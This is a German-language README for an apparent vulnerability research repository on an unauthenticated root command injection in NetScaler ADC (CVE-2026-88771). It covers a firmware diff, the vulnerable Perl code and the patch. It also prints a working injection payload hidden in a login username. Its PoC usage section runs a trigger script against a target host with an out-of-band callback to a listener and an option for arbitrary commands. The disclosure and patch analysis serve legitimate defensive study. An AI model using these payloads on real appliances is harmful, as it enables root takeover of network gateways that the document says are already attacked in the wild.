
Firmware-Diff-Analyse, Root-Cause-Bericht und funktionierender PoC für die unauthentifizierte NetScaler-ADC-Command-Injection (CVE-2026-88771), die zur Ausführung als root führt.
Nicht authentifizierte beliebige Befehlsausführung (als root) in Citrix ADC (NetScaler) 14.1-66.59 und 14.1-72.61. Behoben in 14.1-73.37 (und 13.1-64.23). CVSS 9.5, betrifft Standardbereitstellungen, keine zusätzliche Funktion erforderlich.
Dieses Repository enthält die Firmware-Diff-Analyse, die extrahierten verwundbaren Nachweise und einen funktionierenden Proof-of-Concept.
analysis/CVE-2026-88771_STAGE_BY_STAGE.mdanalysis/CVE-2026-88771_ROOT_CAUSE.mdpoc/ — siehe poc/README.mdEin fehlgeschlagener, nicht authentifizierter Management-Login wird mit dem vom Angreifer kontrollierten Benutzernamen in /var/log/ns.log protokolliert. Der standardmäßig aktivierte Root-Telemetrie-Worker (admautoregd, geliefert im äußeren mastools_scripts.tgz der Firmware) führt regelmäßig /netscaler/ns_monuploadd_err.pl -WR aus. In den verwundbaren Builds leitet dieser Zweig passende Logzeilen durch ein breites grep | sed | awk und interpoliert das Ergebnis unquoted in einen Shell-Befehl:
# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
Ein präparierter Benutzername wie pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died
überlebt die Pipeline als Shell-Token NSPPE-00;id>/tmp/pwned;#-unexpectedly,
sodass die Backtick-Senke find ... -name NSPPE-00 ausführt, dann id>/tmp/pwned (als root),
dann einen #-Kommentar.
POST an /nitro/v1/config/login
(evidence/gui-72.61/admin_ui/nitro/nitro.php);
der Browser-Login-Controller reicht username/password unverändert weiter
(evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).length < 128 für den Benutzernamen — keine Zeichen-Allowlist
(Dekompilierung in analysis/nsppe_api_login_799b90.c)./var/log/ns.log als
CMD_EXECUTED mit dem Benutzernamen im Datensatz protokolliert (Formatter-Dekompilierung:
analysis/nsppe_cmdexecuted_decomp.c).nsstartpe.sh → admautoregd_ctl startup, root) und führt bei seiner ersten Prüfung
sowie alle 24 h CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR'
über subprocess.Popen aus
(evidence/mastools-72.61/scripts/admautoreg/constant.py).-WR-Zweig von ns_monuploadd_err.pl interpoliert das
aus dem Log stammende Token unquotiert in einen Backtick-Befehl — Befehlsausführung als
root, noch vor jeder Prüfung auf die Existenz einer Core-Datei.Beide Hälften wurden gemeinsam behoben:
ns_monuploadd_err.pl ersetzt die Pipeline durch einen strikten Perl-Regex
(nur NSPPE-\d{2} + numerische PID) und ruft find über die Listenform
open '-|' auf (keine Shell) — siehe
evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.admautoregd-Aufrufer wird entfernt: CHECK_PE_FAILURE_CMD,
_check_disk_pe_failure(), get_pe_failure_info() sind alle aus dem
73.37-mastools-Paket verschwunden — vergleiche
evidence/mastools-72.61/ mit
evidence/mastools-73.37/.CVE-2026-88771 ist eine von acht CVEs im koordinierten Citrix-Bulletin. Laut dem Bulletin und dem öffentlichen watchTowr-Bericht ist die Menge und ihre Einstufung wie folgt:
| CVE | Beschreibung | CVSS 4.0 | In freier Wildbahn ausgenutzt |
|---|---|---|---|
| CVE-2026-88771 | Pre-Auth-Command-Injection (dieses Repo) — Standardkonfiguration | 9.5 Critical | Ja |
| CVE-2026-88772 | Speicherüberlauf (RCE/DoS) bei aktiviertem DTLS — Standard für VPN vServers | 9.5 Critical | Ja |
| CVE-2026-88773 | HTTP-Request-Smuggling — konfigurationsabhängig | 9.3 Critical | Nein |
| CVE-2026-88774 | Konfigurationsabhängig | 7.0 High | Nein |
| CVE-2026-88775 | Speicherüberlauf — konfigurationsabhängig | 8.8 High | Nein |
| CVE-2026-88776 | Speicherüberlauf — konfigurationsabhängig | 8.8 High | Nein |
| CVE-2026-88777 | Speicherüberlauf — konfigurationsabhängig | 8.8 High | Nein |
| CVE-2026-88778 | Vorhersagbare ISN — behoben durch Aktivierung der Enhanced ISN Generation, nicht allein durch das Upgrade | 8.8 High | Nein |
Behobene Releases laut Bulletin (nicht nur die oben genannten 14.1 / 13.1-Paare):
Nur autorisiertes Testen. Die Remote-Seite ist ein einziger nicht authentifizierter HTTPS-
POST; der injizierte Befehl läuft später als root, wenn der Telemetrie-Worker
als Nächstes seine 24-h-PE-Failure-Prüfung ausführt (ein Neustart der Appliance oder ein
Neustart von admautoregd erzwingt dies).
# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example
# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
--cmd 'id>/tmp/cve88771_ef60f0de46d9'
# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3
Erwarte HTTP 401 — genau der fehlgeschlagene Login schreibt die Audit-Zeile.
Dann auf der Appliance (oder durch Warten von bis zu 24 h) den Worker auslösen:
reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart
Überprüfen Sie die Ausführung als root: ls -l /tmp/cve88771_ef60f0de46d9 sollte
root:wheel anzeigen.